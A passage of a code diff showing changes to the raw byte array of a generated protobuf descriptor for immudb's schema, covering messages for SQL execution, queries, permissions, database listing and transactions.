0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, - 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, - 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, - 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, - 0x66, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, - 0x53, 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, - 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, - 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, - 0x14, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, - 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x1a, 0x3d, 0x0a, 0x0f, 0x43, 0x6f, 0x6c, 0x4c, 0x65, 0x6e, 0x42, 0x79, 0x49, 0x64, 0x45, 0x6e, + 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x4a, + 0x04, 0x08, 0x06, 0x10, 0x07, 0x22, 0x28, 0x0a, 0x10, 0x55, 0x73, 0x65, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x70, 0x6c, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x74, 0x6f, 0x6b, + 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x22, + 0xaa, 0x01, 0x0a, 0x17, 0x43, 0x68, 0x61, 0x6e, 0x67, 0x65, 0x50, 0x65, 0x72, 0x6d, 0x69, 0x73, + 0x73, 0x69, 0x6f, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x37, 0x0a, 0x06, 0x61, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x1f, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x50, 0x65, 0x72, 0x6d, + 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x06, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x1e, 0x0a, 0x0a, + 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, + 0x52, 0x0a, 0x70, 0x65, 0x72, 0x6d, 0x69, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x22, 0x4a, 0x0a, 0x14, + 0x53, 0x65, 0x74, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x55, 0x73, 0x65, 0x72, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x12, 0x16, 0x0a, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x61, 0x63, 0x74, 0x69, 0x76, 0x65, 0x12, 0x1a, 0x0a, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, + 0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x22, 0x4d, 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, + 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x12, 0x35, 0x0a, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, + 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x17, 0x0a, 0x15, 0x44, 0x61, 0x74, 0x61, 0x62, + 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x56, 0x32, + 0x22, 0x5b, 0x0a, 0x16, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x56, 0x32, 0x12, 0x41, 0x0a, 0x09, 0x64, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x23, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, + 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, + 0x67, 0x73, 0x52, 0x09, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x73, 0x22, 0x87, 0x01, + 0x0a, 0x14, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x57, 0x69, 0x74, 0x68, 0x53, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x43, 0x0a, 0x08, 0x73, 0x65, + 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x44, 0x61, 0x74, + 0x61, 0x62, 0x61, 0x73, 0x65, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, + 0x74, 0x69, 0x6e, 0x67, 0x73, 0x52, 0x08, 0x73, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6c, 0x6f, 0x61, 0x64, 0x65, 0x64, 0x22, 0x9e, 0x01, 0x0a, 0x05, 0x43, 0x68, 0x75, 0x6e, + 0x6b, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0c, 0x52, 0x07, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x12, 0x3e, 0x0a, 0x08, 0x6d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x22, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x68, + 0x75, 0x6e, 0x6b, 0x2e, 0x4d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x52, 0x08, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x1a, 0x3b, 0x0a, 0x0d, 0x4d, + 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, + 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, + 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x4e, 0x0a, 0x12, 0x55, 0x73, 0x65, 0x53, + 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x18, + 0x0a, 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x18, 0x01, 0x20, 0x01, 0x28, 0x04, 0x52, + 0x07, 0x73, 0x69, 0x6e, 0x63, 0x65, 0x54, 0x78, 0x12, 0x1e, 0x0a, 0x0a, 0x61, 0x73, 0x42, 0x65, + 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x18, 0x02, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0a, 0x61, 0x73, + 0x42, 0x65, 0x66, 0x6f, 0x72, 0x65, 0x54, 0x78, 0x22, 0x6d, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x45, + 0x78, 0x65, 0x63, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, + 0x16, 0x0a, 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x06, 0x6e, 0x6f, 0x57, 0x61, 0x69, 0x74, 0x22, 0x7c, 0x0a, 0x0f, 0x53, 0x51, 0x4c, 0x51, 0x75, + 0x65, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x73, 0x71, + 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x73, 0x71, 0x6c, 0x12, 0x31, 0x0a, 0x06, + 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x19, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x61, 0x6d, + 0x65, 0x64, 0x50, 0x61, 0x72, 0x61, 0x6d, 0x52, 0x06, 0x70, 0x61, 0x72, 0x61, 0x6d, 0x73, 0x12, + 0x24, 0x0a, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0d, 0x72, 0x65, 0x75, 0x73, 0x65, 0x53, 0x6e, 0x61, + 0x70, 0x73, 0x68, 0x6f, 0x74, 0x22, 0x4f, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x61, + 0x72, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, - 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, + 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x22, 0x5e, 0x0a, 0x0d, 0x53, 0x51, 0x4c, 0x45, 0x78, 0x65, + 0x63, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x03, 0x74, 0x78, 0x73, 0x18, 0x05, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x52, 0x03, 0x74, 0x78, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x6f, 0x6e, 0x67, 0x6f, + 0x69, 0x6e, 0x67, 0x54, 0x78, 0x18, 0x06, 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x6f, 0x6e, 0x67, + 0x6f, 0x69, 0x6e, 0x67, 0x54, 0x78, 0x22, 0xdd, 0x03, 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, + 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, 0x4c, 0x54, 0x78, 0x12, 0x2f, 0x0a, 0x06, 0x68, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x48, 0x65, 0x61, 0x64, + 0x65, 0x72, 0x52, 0x06, 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x12, 0x20, 0x0a, 0x0b, 0x75, 0x70, + 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, + 0x0b, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x64, 0x52, 0x6f, 0x77, 0x73, 0x12, 0x5c, 0x0a, 0x0f, + 0x6c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, + 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x32, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, + 0x51, 0x4c, 0x54, 0x78, 0x2e, 0x4c, 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0f, 0x6c, 0x61, 0x73, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x12, 0x5f, 0x0a, 0x10, 0x66, 0x69, + 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x18, 0x04, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x33, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x74, 0x65, 0x64, 0x53, 0x51, + 0x4c, 0x54, 0x78, 0x2e, 0x46, 0x69, 0x72, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, + 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x10, 0x66, 0x69, 0x72, 0x73, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x1a, 0x5b, 0x0a, 0x14, 0x4c, + 0x61, 0x73, 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, - 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, - 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, - 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, - 0x6d, 0x6e, 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, - 0x6f, 0x77, 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, - 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, - 0x65, 0x12, 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x04, 0x74, 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, - 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, - 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, - 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, - 0x06, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x73, 0x22, 0xa9, 0x01, 0x0a, 0x08, 0x53, 0x51, 0x4c, 0x56, - 0x61, 0x6c, 0x75, 0x65, 0x12, 0x30, 0x0a, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, 0x74, - 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x48, 0x00, - 0x52, 0x04, 0x6e, 0x75, 0x6c, 0x6c, 0x12, 0x0e, 0x0a, 0x01, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x48, 0x00, 0x52, 0x01, 0x6e, 0x12, 0x0e, 0x0a, 0x01, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, - 0x09, 0x48, 0x00, 0x52, 0x01, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x62, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x08, 0x48, 0x00, 0x52, 0x01, 0x62, 0x12, 0x10, 0x0a, 0x02, 0x62, 0x73, 0x18, 0x05, 0x20, 0x01, - 0x28, 0x0c, 0x48, 0x00, 0x52, 0x02, 0x62, 0x73, 0x12, 0x10, 0x0a, 0x02, 0x74, 0x73, 0x18, 0x06, - 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x02, 0x74, 0x73, 0x12, 0x0e, 0x0a, 0x01, 0x66, 0x18, - 0x07, 0x20, 0x01, 0x28, 0x01, 0x48, 0x00, 0x52, 0x01, 0x66, 0x42, 0x07, 0x0a, 0x05, 0x76, 0x61, - 0x6c, 0x75, 0x65, 0x22, 0x8d, 0x02, 0x0a, 0x0c, 0x4e, 0x65, 0x77, 0x54, 0x78, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x12, 0x29, 0x0a, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0e, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x54, 0x78, 0x4d, 0x6f, 0x64, 0x65, 0x52, 0x04, 0x6d, 0x6f, 0x64, 0x65, 0x12, - 0x57, 0x0a, 0x17, 0x73, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x4d, 0x75, 0x73, 0x74, 0x49, - 0x6e, 0x63, 0x6c, 0x75, 0x64, 0x65, 0x54, 0x78, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, 0x52, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x5c, 0x0a, 0x15, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x65, 0x64, 0x50, 0x4b, 0x73, 0x45, 0x6e, 0x74, 0x72, + 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, + 0x6b, 0x65, 0x79, 0x12, 0x2d, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x53, 0x51, 0x4c, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x69, 0x0a, 0x0e, 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, + 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x12, 0x2f, 0x0a, 0x07, 0x63, 0x6f, 0x6c, 0x75, + 0x6d, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x15, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, + 0x52, 0x07, 0x63, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x26, 0x0a, 0x04, 0x72, 0x6f, 0x77, + 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x52, 0x6f, 0x77, 0x52, 0x04, 0x72, 0x6f, 0x77, + 0x73, 0x22, 0x30, 0x0a, 0x06, 0x43, 0x6f, 0x6c, 0x75, 0x6d, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, + 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, + 0x12, 0x0a, 0x04, 0x74, 0x79, 0x70, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x74, + 0x79, 0x70, 0x65, 0x22, 0x50, 0x0a, 0x03, 0x52, 0x6f, 0x77, 0x12, 0x18, 0x0a, 0x07, 0x63, 0x6f, + 0x6c, 0x75, 0x6d, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x09, 0x52, 0x07, 0x63, 0x6f, 0x6c, + 0x75, 0x6d, 0x6e, 0x73, 0x12, 0x2f, 0x0a, 